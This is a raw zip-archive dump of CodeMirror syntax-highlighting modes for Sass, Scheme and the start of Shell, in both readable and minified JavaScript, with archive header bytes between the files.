          return "builtin";
        }
        if (stream.peek() === "#") {
          indent(state);
          return "tag";
        }
      }

      // Variables
      if (ch === "$") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        return "variable-2";
      }

      // Numbers
      if (stream.match(/^-?[0-9\.]+/))
        return "number";

      // Units
      if (stream.match(/^(px|em|in)\b/))
        return "unit";

      if (stream.match(keywordsRegexp))
        return "keyword";

      if (stream.match(/^url/) && stream.peek() === "(")
{
        state.tokenizer = urlTokens;
        return "atom";
      }

      if (ch === "=") {
        // Match shortcut mixin definition
        if (stream.match(/^=[\w-]+/)) {
          indent(state);
          return "meta";
        }
      }

      if (ch === "+") {
        // Match shortcut mixin definition
        if (stream.match(/^\+[\w-]+/)){
          return "variable-3";
        }
      }

      if(ch === "@"){
        if(stream.match(/@extend/)){
          if(!stream.match(/\s*[\w]/))
            dedent(state);
        }
      }


      // Indent Directives
      if (stream.match(/^@(else
if|if|media|else|for|each|while|mixin|function)/)) {
        indent(state);
        return "def";
      }

      // Other Directives
      if (ch === "@") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        return "def";
      }

      if (stream.eatWhile(/[\w-]/)){
        if(stream.match(/ *: *[\w-\+\$#!\("']/,false)){
          word = stream.current().toLowerCase();
          var prop = state.prevProp + "-" + word;
          if (propertyKeywords.hasOwnProperty(prop)) {
            return "property";
          } else if (propertyKeywords.hasOwnProperty(word)) {
            state.prevProp = word;
            return "property";
          } else if (fontProperties.hasOwnProperty(word)) {
            return "property";
          }
          return "tag";
        }
        else if(stream.match(/ *:/,false)){
          indent(state);
          state.cursorHalf = 1;
          state.prevProp = stream.current().toLowerCase();
          return "property";
        }
        else if(stream.match(/ *,/,false)){
          return "tag";
        }
        else{
          indent(state);
          return "tag";
        }
      }

      if(ch === ":"){
        if (stream.match(pseudoElementsRegexp)){ // could be a
pseudo-element
          return "variable-3";
        }
        stream.next();
        state.cursorHalf=1;
        return "operator";
      }

    } // cursorHalf===0 ends here
    else{

      if (ch === "#") {
        stream.next();
        // Hex numbers
        if (stream.match(/[0-9a-fA-F]{6}|[0-9a-fA-F]{3}/)){
          if (isEndLine(stream)) {
            state.cursorHalf = 0;
          }
          return "number";
        }
      }

      // Numbers
      if (stream.match(/^-?[0-9\.]+/)){
        if (isEndLine(stream)) {
          state.cursorHalf = 0;
        }
        return "number";
      }

      // Units
      if (stream.match(/^(px|em|in)\b/)){
        if (isEndLine(stream)) {
          state.cursorHalf = 0;
        }
        return "unit";
      }

      if (stream.match(keywordsRegexp)){
        if (isEndLine(stream)) {
          state.cursorHalf = 0;
        }
        return "keyword";
      }

      if (stream.match(/^url/) && stream.peek() === "(")
{
        state.tokenizer = urlTokens;
        if (isEndLine(stream)) {
          state.cursorHalf = 0;
        }
        return "atom";
      }

      // Variables
      if (ch === "$") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        if (isEndLine(stream)) {
          state.cursorHalf = 0;
        }
        return "variable-2";
      }

      // bang character for !important, !default, etc.
      if (ch === "!") {
        stream.next();
        state.cursorHalf = 0;
        return stream.match(/^[\w]+/) ? "keyword":
"operator";
      }

      if (stream.match(opRegexp)){
        if (isEndLine(stream)) {
          state.cursorHalf = 0;
        }
        return "operator";
      }

      // attributes
      if (stream.eatWhile(/[\w-]/)) {
        if (isEndLine(stream)) {
          state.cursorHalf = 0;
        }
        word = stream.current().toLowerCase();
        if (valueKeywords.hasOwnProperty(word)) {
          return "atom";
        } else if (colorKeywords.hasOwnProperty(word)) {
          return "keyword";
        } else if (propertyKeywords.hasOwnProperty(word)) {
          state.prevProp = stream.current().toLowerCase();
          return "property";
        } else {
          return "tag";
        }
      }

      //stream.eatSpace();
      if (isEndLine(stream)) {
        state.cursorHalf = 0;
        return null;
      }

    } // else ends here

    if (stream.match(opRegexp))
      return "operator";

    // If we haven't returned by now, we move 1 character
    // and return an error
    stream.next();
    return null;
  }

  function tokenLexer(stream, state) {
    if (stream.sol()) state.indentCount = 0;
    var style = state.tokenizer(stream, state);
    var current = stream.current();

    if (current === "@return" || current === "}"){
      dedent(state);
    }

    if (style !== null) {
      var startOfToken = stream.pos - current.length;

      var withCurrentIndent = startOfToken + (config.indentUnit *
state.indentCount);

      var newScopes = [];

      for (var i = 0; i < state.scopes.length; i++) {
        var scope = state.scopes[i];

        if (scope.offset <= withCurrentIndent)
          newScopes.push(scope);
      }

      state.scopes = newScopes;
    }


    return style;
  }

  return {
    startState: function() {
      return {
        tokenizer: tokenBase,
        scopes: [{offset: 0, type: "sass"}],
        indentCount: 0,
        cursorHalf: 0,  // cursor half tells us if cursor lies after (1)
                        // or before (0) colon (well... more or less)
        definedVars: [],
        definedMixins: []
      };
    },
    token: function(stream, state) {
      var style = tokenLexer(stream, state);

      state.lastToken = { style: style, content: stream.current() };

      return style;
    },

    indent: function(state) {
      return state.scopes[0].offset;
    }
  };
}, "css");

CodeMirror.defineMIME("text/x-sass", "sass");

});
PKJ��[��Lj>>
codemirror/mode/sass/sass.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../css/css")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../css/css"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("sass",(function(b){function
c(a){return!a.peek()||a.match(/\s+$/,!1)}function d(a,b){var
c=a.peek();return")"===c?(a.next(),b.tokenizer=j,"operator"):"("===c?(a.next(),a.eatSpace(),"operator"):"'"===c||'"'===c?(b.tokenizer=f(a.next()),"string"):(b.tokenizer=f(")",!1),"string")}function
e(a,b){return function(c,d){return
c.sol()&&c.indentation()<=a?(d.tokenizer=j,j(c,d)):(b&&c.skipTo("*/")?(c.next(),c.next(),d.tokenizer=j):c.skipToEnd(),"comment")}}function
f(a,b){function d(e,f){var
h=e.next(),i=e.peek(),k=e.string.charAt(e.pos-2);return"\\"!==h&&i===a||h===a&&"\\"!==k?(h!==a&&b&&e.next(),c(e)&&(f.cursorHalf=0),f.tokenizer=j,"string"):"#"===h&&"{"===i?(f.tokenizer=g(d),e.next(),"operator"):"string"}return
null==b&&(b=!0),d}function g(a){return
function(b,c){return"}"===b.peek()?(b.next(),c.tokenizer=a,"operator"):j(b,c)}}function
h(a){if(0==a.indentCount){a.indentCount++;var
c=a.scopes[0].offset,d=c+b.indentUnit;a.scopes.unshift({offset:d})}}function
i(a){1!=a.scopes.length&&a.scopes.shift()}function j(a,b){var
k=a.peek();if(a.match("/*"))return
b.tokenizer=e(a.indentation(),!0),b.tokenizer(a,b);if(a.match("//"))return
b.tokenizer=e(a.indentation(),!1),b.tokenizer(a,b);if(a.match("#{"))return
b.tokenizer=g(j),"operator";if('"'===k||"'"===k)return
a.next(),b.tokenizer=f(k),"string";if(b.cursorHalf){if("#"===k&&(a.next(),a.match(/[0-9a-fA-F]{6}|[0-9a-fA-F]{3}/)))return
c(a)&&(b.cursorHalf=0),"number";if(a.match(/^-?[0-9\.]+/))return
c(a)&&(b.cursorHalf=0),"number";if(a.match(/^(px|em|in)\b/))return
c(a)&&(b.cursorHalf=0),"unit";if(a.match(s))return
c(a)&&(b.cursorHalf=0),"keyword";if(a.match(/^url/)&&"("===a.peek())return
b.tokenizer=d,c(a)&&(b.cursorHalf=0),"atom";if("$"===k)return
a.next(),a.eatWhile(/[\w-]/),c(a)&&(b.cursorHalf=0),"variable-2";if("!"===k)return
a.next(),b.cursorHalf=0,a.match(/^[\w]+/)?"keyword":"operator";if(a.match(u))return
c(a)&&(b.cursorHalf=0),"operator";if(a.eatWhile(/[\w-]/))return
c(a)&&(b.cursorHalf=0),l=a.current().toLowerCase(),p.hasOwnProperty(l)?"atom":o.hasOwnProperty(l)?"keyword":n.hasOwnProperty(l)?(b.prevProp=a.current().toLowerCase(),"property"):"tag";if(c(a))return
b.cursorHalf=0,null}else{if("-"===k&&a.match(/^-\w+-/))return"meta";if("."===k){if(a.next(),a.match(/^[\w-]+/))return
h(b),"qualifier";if("#"===a.peek())return
h(b),"tag"}if("#"===k){if(a.next(),a.match(/^[\w-]+/))return
h(b),"builtin";if("#"===a.peek())return
h(b),"tag"}if("$"===k)return
a.next(),a.eatWhile(/[\w-]/),"variable-2";if(a.match(/^-?[0-9\.]+/))return"number";if(a.match(/^(px|em|in)\b/))return"unit";if(a.match(s))return"keyword";if(a.match(/^url/)&&"("===a.peek())return
b.tokenizer=d,"atom";if("="===k&&a.match(/^=[\w-]+/))return
h(b),"meta";if("+"===k&&a.match(/^\+[\w-]+/))return"variable-3";if("@"===k&&a.match(/@extend/)&&(a.match(/\s*[\w]/)||i(b)),a.match(/^@(else
if|if|media|else|for|each|while|mixin|function)/))return
h(b),"def";if("@"===k)return
a.next(),a.eatWhile(/[\w-]/),"def";if(a.eatWhile(/[\w-]/)){if(a.match(/
*: *[\w-\+\$#!\("']/,!1)){l=a.current().toLowerCase();var
m=b.prevProp+"-"+l;return
n.hasOwnProperty(m)?"property":n.hasOwnProperty(l)?(b.prevProp=l,"property"):q.hasOwnProperty(l)?"property":"tag"}return
a.match(/
*:/,!1)?(h(b),b.cursorHalf=1,b.prevProp=a.current().toLowerCase(),"property"):a.match(/
*,/,!1)?"tag":(h(b),"tag")}if(":"===k)return
a.match(v)?"variable-3":(a.next(),b.cursorHalf=1,"operator")}return
a.match(u)?"operator":(a.next(),null)}function
k(a,c){a.sol()&&(c.indentCount=0);var
d=c.tokenizer(a,c),e=a.current();if("@return"!==e&&"}"!==e||i(c),null!==d){for(var
f=a.pos-e.length,g=f+b.indentUnit*c.indentCount,h=[],j=0;j<c.scopes.length;j++){var
k=c.scopes[j];k.offset<=g&&h.push(k)}c.scopes=h}return d}var
l,m=a.mimeModes["text/css"],n=m.propertyKeywords||{},o=m.colorKeywords||{},p=m.valueKeywords||{},q=m.fontProperties||{},r=["true","false","null","auto"],s=new
RegExp("^"+r.join("|")),t=["\\(","\\)","=",">","<","==",">=","<=","\\+","-","\\!=","/","\\*","%","and","or","not",";","\\{","\\}",":"],u=(function(a){return
new
RegExp("^"+a.join("|"))})(t),v=/^::?[a-zA-Z_][\w\-]*/;return{startState:function(){return{tokenizer:j,scopes:[{offset:0,type:"sass"}],indentCount:0,cursorHalf:0,definedVars:[],definedMixins:[]}},token:function(a,b){var
c=k(a,b);return
b.lastToken={style:c,content:a.current()},c},indent:function(a){return
a.scopes[0].offset}}}),"css"),a.defineMIME("text/x-sass","sass")}));PKJ��[�l5c8c8
codemirror/mode/scheme/scheme.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**
 * Author: Koh Zi Han, based on implementation by Koh Zi Chun
 */

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("scheme", function () {
    var BUILTIN = "builtin", COMMENT = "comment",
STRING = "string",
        ATOM = "atom", NUMBER = "number", BRACKET =
"bracket";
    var INDENT_WORD_SKIP = 2;

    function makeKeywords(str) {
        var obj = {}, words = str.split(" ");
        for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
        return obj;
    }

    var keywords = makeKeywords("λ case-lambda call/cc class
define-class exit-handler field import inherit init-field interface
let*-values let-values let/ec mixin opt-lambda override protect provide
public rename require require-for-syntax syntax syntax-case syntax-error
unit/sig unless when with-syntax and begin call-with-current-continuation
call-with-input-file call-with-output-file case cond define define-syntax
delay do dynamic-wind else for-each if lambda let let* let-syntax letrec
letrec-syntax map or syntax-rules abs acos angle append apply asin assoc
assq assv atan boolean? caar cadr call-with-input-file
call-with-output-file call-with-values car cdddar cddddr cdr ceiling
char->integer char-alphabetic? char-ci<=? char-ci<? char-ci=?
char-ci>=? char-ci>? char-downcase char-lower-case? char-numeric?
char-ready? char-upcase char-upper-case? char-whitespace? char<=?
char<? char=? char>=? char>? char? close-input-port
close-output-port complex? cons cos current-input-port current-output-port
denominator display eof-object? eq? equal? eqv? eval even?
exact->inexact exact? exp expt #f floor force gcd imag-part
inexact->exact inexact? input-port? integer->char integer?
interaction-environment lcm length list list->string list->vector
list-ref list-tail list? load log magnitude make-polar make-rectangular
make-string make-vector max member memq memv min modulo negative? newline
not null-environment null? number->string number? numerator odd?
open-input-file open-output-file output-port? pair? peek-char port?
positive? procedure? quasiquote quote quotient rational? rationalize read
read-char real-part real? remainder reverse round scheme-report-environment
set! set-car! set-cdr! sin sqrt string string->list string->number
string->symbol string-append string-ci<=? string-ci<? string-ci=?
string-ci>=? string-ci>? string-copy string-fill! string-length
string-ref string-set! string<=? string<? string=? string>=?
string>? string? substring symbol->string symbol? #t tan
transcript-off transcript-on truncate values vector vector->list
vector-fill! vector-length vector-ref vector-set! with-input-from-file
with-output-to-file write write-char zero?");
    var indentKeys = makeKeywords("define let letrec let*
lambda");

    function stateStack(indent, type, prev) { // represents a state stack
object
        this.indent = indent;
        this.type = type;
        this.prev = prev;
    }

    function pushStack(state, indent, type) {
        state.indentStack = new stateStack(indent, type,
state.indentStack);
    }

    function popStack(state) {
        state.indentStack = state.indentStack.prev;
    }

    var binaryMatcher = new
RegExp(/^(?:[-+]i|[-+][01]+#*(?:\/[01]+#*)?i|[-+]?[01]+#*(?:\/[01]+#*)?@[-+]?[01]+#*(?:\/[01]+#*)?|[-+]?[01]+#*(?:\/[01]+#*)?[-+](?:[01]+#*(?:\/[01]+#*)?)?i|[-+]?[01]+#*(?:\/[01]+#*)?)(?=[()\s;"]|$)/i);
    var octalMatcher = new
RegExp(/^(?:[-+]i|[-+][0-7]+#*(?:\/[0-7]+#*)?i|[-+]?[0-7]+#*(?:\/[0-7]+#*)?@[-+]?[0-7]+#*(?:\/[0-7]+#*)?|[-+]?[0-7]+#*(?:\/[0-7]+#*)?[-+](?:[0-7]+#*(?:\/[0-7]+#*)?)?i|[-+]?[0-7]+#*(?:\/[0-7]+#*)?)(?=[()\s;"]|$)/i);
    var hexMatcher = new
RegExp(/^(?:[-+]i|[-+][\da-f]+#*(?:\/[\da-f]+#*)?i|[-+]?[\da-f]+#*(?:\/[\da-f]+#*)?@[-+]?[\da-f]+#*(?:\/[\da-f]+#*)?|[-+]?[\da-f]+#*(?:\/[\da-f]+#*)?[-+](?:[\da-f]+#*(?:\/[\da-f]+#*)?)?i|[-+]?[\da-f]+#*(?:\/[\da-f]+#*)?)(?=[()\s;"]|$)/i);
    var decimalMatcher = new
RegExp(/^(?:[-+]i|[-+](?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)i|[-+]?(?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)@[-+]?(?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)|[-+]?(?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)[-+](?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)?i|(?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*))(?=[()\s;"]|$)/i);

    function isBinaryNumber (stream) {
        return stream.match(binaryMatcher);
    }

    function isOctalNumber (stream) {
        return stream.match(octalMatcher);
    }

    function isDecimalNumber (stream, backup) {
        if (backup === true) {
            stream.backUp(1);
        }
        return stream.match(decimalMatcher);
    }

    function isHexNumber (stream) {
        return stream.match(hexMatcher);
    }

    return {
        startState: function () {
            return {
                indentStack: null,
                indentation: 0,
                mode: false,
                sExprComment: false,
                sExprQuote: false
            };
        },

        token: function (stream, state) {
            if (state.indentStack == null && stream.sol()) {
                // update indentation, but only if indentStack is empty
                state.indentation = stream.indentation();
            }

            // skip spaces
            if (stream.eatSpace()) {
                return null;
            }
            var returnType = null;

            switch(state.mode){
                case "string": // multi-line string parsing mode
                    var next, escaped = false;
                    while ((next = stream.next()) != null) {
                        if (next == "\"" &&
!escaped) {

                            state.mode = false;
                            break;
                        }
                        escaped = !escaped && next ==
"\\";
                    }
                    returnType = STRING; // continue on in scheme-string
mode
                    break;
                case "comment": // comment parsing mode
                    var next, maybeEnd = false;
                    while ((next = stream.next()) != null) {
                        if (next == "#" && maybeEnd) {

                            state.mode = false;
                            break;
                        }
                        maybeEnd = (next == "|");
                    }
                    returnType = COMMENT;
                    break;
                case "s-expr-comment": // s-expr commenting mode
                    state.mode = false;
                    if(stream.peek() == "(" || stream.peek() ==
"["){
                        // actually start scheme s-expr commenting mode
                        state.sExprComment = 0;
                    }else{
                        // if not we just comment the entire of the next
token
                        stream.eatWhile(/[^\s\(\)\[\]]/); // eat symbol
atom
                        returnType = COMMENT;
                        break;
                    }
                default: // default parsing mode
                    var ch = stream.next();

                    if (ch == "\"") {
                        state.mode = "string";
                        returnType = STRING;

                    } else if (ch == "'") {
                        if (stream.peek() == "(" || stream.peek()
== "["){
                            if (typeof state.sExprQuote !=
"number") {
                                state.sExprQuote = 0;
                            } // else already in a quoted expression
                            returnType = ATOM;
                        } else {
                           
stream.eatWhile(/[\w_\-!$%&*+\.\/:<=>?@\^~]/);
                            returnType = ATOM;
                        }
                    } else if (ch == '#') {
                        if (stream.eat("|")) {                   
// Multi-line comment
                            state.mode = "comment"; // toggle to
comment mode
                            returnType = COMMENT;
                        } else if (stream.eat(/[tf]/i)) {            //
#t/#f (atom)
                            returnType = ATOM;
                        } else if (stream.eat(';')) {            
   // S-Expr comment
                            state.mode = "s-expr-comment";
                            returnType = COMMENT;
                        } else {
                            var numTest = null, hasExactness = false,
hasRadix = true;
                            if (stream.eat(/[ei]/i)) {
                                hasExactness = true;
                            } else {
                                stream.backUp(1);       // must be radix
specifier
                            }
                            if (stream.match(/^#b/i)) {
                                numTest = isBinaryNumber;
                            } else if (stream.match(/^#o/i)) {
                                numTest = isOctalNumber;
                            } else if (stream.match(/^#x/i)) {
                                numTest = isHexNumber;
                            } else if (stream.match(/^#d/i)) {
                                numTest = isDecimalNumber;
                            } else if (stream.match(/^[-+0-9.]/, false)) {
                                hasRadix = false;
                                numTest = isDecimalNumber;
                            // re-consume the intial # if all matches
failed
                            } else if (!hasExactness) {
                                stream.eat('#');
                            }
                            if (numTest != null) {
                                if (hasRadix && !hasExactness) {
                                    // consume optional exactness after
radix
                                    stream.match(/^#[ei]/i);
                                }
                                if (numTest(stream))
                                    returnType = NUMBER;
                            }
                        }
                    } else if (/^[-+0-9.]/.test(ch) &&
isDecimalNumber(stream, true)) { // match non-prefixed number, must be
decimal
                        returnType = NUMBER;
                    } else if (ch == ";") { // comment
                        stream.skipToEnd(); // rest of the line is a
comment
                        returnType = COMMENT;
                    } else if (ch == "(" || ch == "[")
{
                      var keyWord = ''; var indentTemp =
stream.column(), letter;
                        /**
                        Either
                        (indent-word ..
                        (non-indent-word ..
                        (;something else, bracket, etc.
                        */

                        while ((letter = stream.eat(/[^\s\(\[\;\)\]]/)) !=
null) {
                            keyWord += letter;
                        }

                        if (keyWord.length > 0 &&
indentKeys.propertyIsEnumerable(keyWord)) { // indent-word

                            pushStack(state, indentTemp + INDENT_WORD_SKIP,
ch);
                        } else { // non-indent word
                            // we continue eating the spaces
                            stream.eatSpace();
                            if (stream.eol() || stream.peek() ==
";") {
                                // nothing significant after
                                // we restart indentation 1 space after
                                pushStack(state, indentTemp + 1, ch);
                            } else {
                                pushStack(state, indentTemp +
stream.current().length, ch); // else we match
                            }
                        }
                        stream.backUp(stream.current().length - 1); // undo
all the eating

                        if(typeof state.sExprComment == "number")
state.sExprComment++;
                        if(typeof state.sExprQuote == "number")
state.sExprQuote++;

                        returnType = BRACKET;
                    } else if (ch == ")" || ch == "]")
{
                        returnType = BRACKET;
                        if (state.indentStack != null &&
state.indentStack.type == (ch == ")" ? "(" :
"[")) {
                            popStack(state);

                            if(typeof state.sExprComment ==
"number"){
                                if(--state.sExprComment == 0){
                                    returnType = COMMENT; // final closing
bracket
                                    state.sExprComment = false; // turn off
s-expr commenting mode
                                }
                            }
                            if(typeof state.sExprQuote ==
"number"){
                                if(--state.sExprQuote == 0){
                                    returnType = ATOM; // final closing
bracket
                                    state.sExprQuote = false; // turn off
s-expr quote mode
                                }
                            }
                        }
                    } else {
                       
stream.eatWhile(/[\w_\-!$%&*+\.\/:<=>?@\^~]/);

                        if (keywords &&
keywords.propertyIsEnumerable(stream.current())) {
                            returnType = BUILTIN;
                        } else returnType = "variable";
                    }
            }
            return (typeof state.sExprComment == "number") ?
COMMENT : ((typeof state.sExprQuote == "number") ? ATOM :
returnType);
        },

        indent: function (state) {
            if (state.indentStack == null) return state.indentation;
            return state.indentStack.indent;
        },

        closeBrackets: {pairs: "()[]{}\"\""},
        lineComment: ";;"
    };
});

CodeMirror.defineMIME("text/x-scheme", "scheme");

});
PKJ��[Tb���$codemirror/mode/scheme/scheme.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("scheme",(function(){function
a(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function
b(a,b,c){this.indent=a,this.type=b,this.prev=c}function
c(a,c,d){a.indentStack=new b(c,d,a.indentStack)}function
d(a){a.indentStack=a.indentStack.prev}function e(a){return
a.match(k)}function f(a){return a.match(l)}function
g(a,b){return!0===b&&a.backUp(1),a.match(n)}function h(a){return
a.match(m)}var i=a("λ case-lambda call/cc class define-class
exit-handler field import inherit init-field interface let*-values
let-values let/ec mixin opt-lambda override protect provide public rename
require require-for-syntax syntax syntax-case syntax-error unit/sig unless
when with-syntax and begin call-with-current-continuation
call-with-input-file call-with-output-file case cond define define-syntax
delay do dynamic-wind else for-each if lambda let let* let-syntax letrec
letrec-syntax map or syntax-rules abs acos angle append apply asin assoc
assq assv atan boolean? caar cadr call-with-input-file
call-with-output-file call-with-values car cdddar cddddr cdr ceiling
char->integer char-alphabetic? char-ci<=? char-ci<? char-ci=?
char-ci>=? char-ci>? char-downcase char-lower-case? char-numeric?
char-ready? char-upcase char-upper-case? char-whitespace? char<=?
char<? char=? char>=? char>? char? close-input-port
close-output-port complex? cons cos current-input-port current-output-port
denominator display eof-object? eq? equal? eqv? eval even?
exact->inexact exact? exp expt #f floor force gcd imag-part
inexact->exact inexact? input-port? integer->char integer?
interaction-environment lcm length list list->string list->vector
list-ref list-tail list? load log magnitude make-polar make-rectangular
make-string make-vector max member memq memv min modulo negative? newline
not null-environment null? number->string number? numerator odd?
open-input-file open-output-file output-port? pair? peek-char port?
positive? procedure? quasiquote quote quotient rational? rationalize read
read-char real-part real? remainder reverse round scheme-report-environment
set! set-car! set-cdr! sin sqrt string string->list string->number
string->symbol string-append string-ci<=? string-ci<? string-ci=?
string-ci>=? string-ci>? string-copy string-fill! string-length
string-ref string-set! string<=? string<? string=? string>=?
string>? string? substring symbol->string symbol? #t tan
transcript-off transcript-on truncate values vector vector->list
vector-fill! vector-length vector-ref vector-set! with-input-from-file
with-output-to-file write write-char zero?"),j=a("define let
letrec let* lambda"),k=new
RegExp(/^(?:[-+]i|[-+][01]+#*(?:\/[01]+#*)?i|[-+]?[01]+#*(?:\/[01]+#*)?@[-+]?[01]+#*(?:\/[01]+#*)?|[-+]?[01]+#*(?:\/[01]+#*)?[-+](?:[01]+#*(?:\/[01]+#*)?)?i|[-+]?[01]+#*(?:\/[01]+#*)?)(?=[()\s;"]|$)/i),l=new
RegExp(/^(?:[-+]i|[-+][0-7]+#*(?:\/[0-7]+#*)?i|[-+]?[0-7]+#*(?:\/[0-7]+#*)?@[-+]?[0-7]+#*(?:\/[0-7]+#*)?|[-+]?[0-7]+#*(?:\/[0-7]+#*)?[-+](?:[0-7]+#*(?:\/[0-7]+#*)?)?i|[-+]?[0-7]+#*(?:\/[0-7]+#*)?)(?=[()\s;"]|$)/i),m=new
RegExp(/^(?:[-+]i|[-+][\da-f]+#*(?:\/[\da-f]+#*)?i|[-+]?[\da-f]+#*(?:\/[\da-f]+#*)?@[-+]?[\da-f]+#*(?:\/[\da-f]+#*)?|[-+]?[\da-f]+#*(?:\/[\da-f]+#*)?[-+](?:[\da-f]+#*(?:\/[\da-f]+#*)?)?i|[-+]?[\da-f]+#*(?:\/[\da-f]+#*)?)(?=[()\s;"]|$)/i),n=new
RegExp(/^(?:[-+]i|[-+](?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)i|[-+]?(?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)@[-+]?(?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)|[-+]?(?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)[-+](?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*)?i|(?:(?:(?:\d+#+\.?#*|\d+\.\d*#*|\.\d+#*|\d+)(?:[esfdl][-+]?\d+)?)|\d+#*\/\d+#*))(?=[()\s;"]|$)/i);return{startState:function(){return{indentStack:null,indentation:0,mode:!1,sExprComment:!1,sExprQuote:!1}},token:function(a,b){if(null==b.indentStack&&a.sol()&&(b.indentation=a.indentation()),a.eatSpace())return
null;var k=null;switch(b.mode){case"string":for(var
l,m=!1;null!=(l=a.next());){if('"'==l&&!m){b.mode=!1;break}m=!m&&"\\"==l}k="string";break;case"comment":for(var
l,n=!1;null!=(l=a.next());){if("#"==l&&n){b.mode=!1;break}n="|"==l}k="comment";break;case"s-expr-comment":if(b.mode=!1,"("!=a.peek()&&"["!=a.peek()){a.eatWhile(/[^\s\(\)\[\]]/),k="comment";break}b.sExprComment=0;default:var
o=a.next();if('"'==o)b.mode="string",k="string";else
if("'"==o)"("==a.peek()||"["==a.peek()?("number"!=typeof
b.sExprQuote&&(b.sExprQuote=0),k="atom"):(a.eatWhile(/[\w_\-!$%&*+\.\/:<=>?@\^~]/),k="atom");else
if("#"==o)if(a.eat("|"))b.mode="comment",k="comment";else
if(a.eat(/[tf]/i))k="atom";else
if(a.eat(";"))b.mode="s-expr-comment",k="comment";else{var
p=null,q=!1,r=!0;a.eat(/[ei]/i)?q=!0:a.backUp(1),a.match(/^#b/i)?p=e:a.match(/^#o/i)?p=f:a.match(/^#x/i)?p=h:a.match(/^#d/i)?p=g:a.match(/^[-+0-9.]/,!1)?(r=!1,p=g):q||a.eat("#"),null!=p&&(r&&!q&&a.match(/^#[ei]/i),p(a)&&(k="number"))}else
if(/^[-+0-9.]/.test(o)&&g(a,!0))k="number";else
if(";"==o)a.skipToEnd(),k="comment";else
if("("==o||"["==o){for(var
s,t="",u=a.column();null!=(s=a.eat(/[^\s\(\[\;\)\]]/));)t+=s;t.length>0&&j.propertyIsEnumerable(t)?c(b,u+2,o):(a.eatSpace(),a.eol()||";"==a.peek()?c(b,u+1,o):c(b,u+a.current().length,o)),a.backUp(a.current().length-1),"number"==typeof
b.sExprComment&&b.sExprComment++,"number"==typeof
b.sExprQuote&&b.sExprQuote++,k="bracket"}else")"==o||"]"==o?(k="bracket",null!=b.indentStack&&b.indentStack.type==(")"==o?"(":"[")&&(d(b),"number"==typeof
b.sExprComment&&0==--b.sExprComment&&(k="comment",b.sExprComment=!1),"number"==typeof
b.sExprQuote&&0==--b.sExprQuote&&(k="atom",b.sExprQuote=!1))):(a.eatWhile(/[\w_\-!$%&*+\.\/:<=>?@\^~]/),k=i&&i.propertyIsEnumerable(a.current())?"builtin":"variable")}return"number"==typeof
b.sExprComment?"comment":"number"==typeof
b.sExprQuote?"atom":k},indent:function(a){return
null==a.indentStack?a.indentation:a.indentStack.indent},closeBrackets:{pairs:'()[]{}""'},lineComment:";;"}})),a.defineMIME("text/x-scheme","scheme")}));PKJ��[�L�EEcodemirror/mode/shell/shell.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('shell', function() {

  var words = {};
  function define(style, dict) {
    for(var i = 0; i < dict.length; i++) {
      words[dict[i]] = style;
    }
  };

  var commonAtoms = ["true", "false"];
  var commonKeywords = ["if", "then", "do",
"else", "elif", "while", "until",
"for", "in", "esac", "fi",
    "fin", "fil", "done", "exit",
"set", "unset", "export",
"function"];
  var commonCommands = ["ab", "awk", "bash",
"beep", "cat", "cc", "cd",
"chown", "chmod", "chroot",
"clear",
    "cp", "curl", "cut", "diff",
"echo", "find", "gawk", "gcc",
"get", "git", "grep", "hg",
"kill", "killall",
    "ln", "ls", "make", "mkdir",
"openssl", "mv", "nc", "nl",
"node", "npm", "ping", "ps",
"restart", "rm",
    "rmdir", "sed", "service",
"sh", "shopt", "shred", "source",
